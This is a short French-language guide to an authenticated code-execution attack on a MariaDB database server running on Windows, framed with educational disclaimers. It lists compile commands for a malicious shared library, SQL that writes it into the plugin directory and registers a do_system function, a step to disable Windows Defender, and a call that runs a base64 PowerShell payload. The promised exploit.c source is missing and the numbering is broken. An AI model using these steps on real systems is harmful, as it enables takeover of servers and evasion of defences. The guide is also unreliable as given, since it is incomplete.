
Exécution de code authentifiée dans la base de données
Ce guide fournit des instructions étape par étape pour reproduire une attaque par fonction définie par l'utilisateur (UDF) sur un système de base de données. Veuillez noter que cet exploit peut fonctionner sur certains systèmes, mais il risque de ne pas fonctionner correctement sur les architectures 64 bits ou certaines compilations.
Avertissement : Ceci est uniquement à des fins éducatives. L'utilisation non autorisée de ces techniques est illégale et contraire à l'éthique.
Tout d'abord, créez un fichier nommé exploit.c et ajoutez le code suivant :
### 2. Compiler le code UDF
Compilez le code de l'exploit à l'aide du compilateur `x86_64-w64-mingw32-gcc` :
```bash
x86_64-w64-mingw32-gcc -g -c exploit.c
Générez un fichier objet partagé (exploit.so) à partir du fichier objet compilé :
x86_64-w64-mingw32-gcc -g -shared -Wl,-soname,exploit.so -o exploit.so exploit.o
Utilisez xxd pour convertir le fichier .so au format hexadécimal :
xxd -p exploit.so | tr -d '\n' > hex_value.txt
Copiez la valeur hexadécimale depuis hex_value.txt et exécutez la commande suivante dans votre base de données :
DB> set @shell = 0x<hex_value>;
Trouvez le répertoire des plugins en exécutant :
DB> select @@plugin_dir;
Ensuite, créez l'objet partagé de l'exploit dans le répertoire des plugins :
DB> select binary @shell into dumpfile 'C:\\Program Files\\MariaDB 11.1\\lib\\plugin\\exploit.so';
Remarque : Ajustez le chemin en fonction de la configuration de votre système ou du répertoire de plugins spécifique.
Créez une nouvelle fonction dans la base de données à l'aide de l'exploit :
DB> create function do_system returns integer soname 'exploit.so';
Désactivez tout antivirus ou Windows Defender susceptible de bloquer l'exploit. Exécutez ensuite une commande à l'aide de la fonction nouvellement créée :
DB> select do_system('powershell base64 here');
Remplacez 'powershell base64 here' par la charge utile encodée en base64 de la commande que vous souhaitez exécuter.
Avertissement : Ce document est destiné uniquement à des fins éducatives et de recherche en sécurité. Une mauvaise utilisation de ces informations peut entraîner des poursuites pénales et de lourdes sanctions juridiques. Obtenez toujours l'autorisation des autorités compétentes avant de tester toute vulnérabilité sur un réseau ou un système.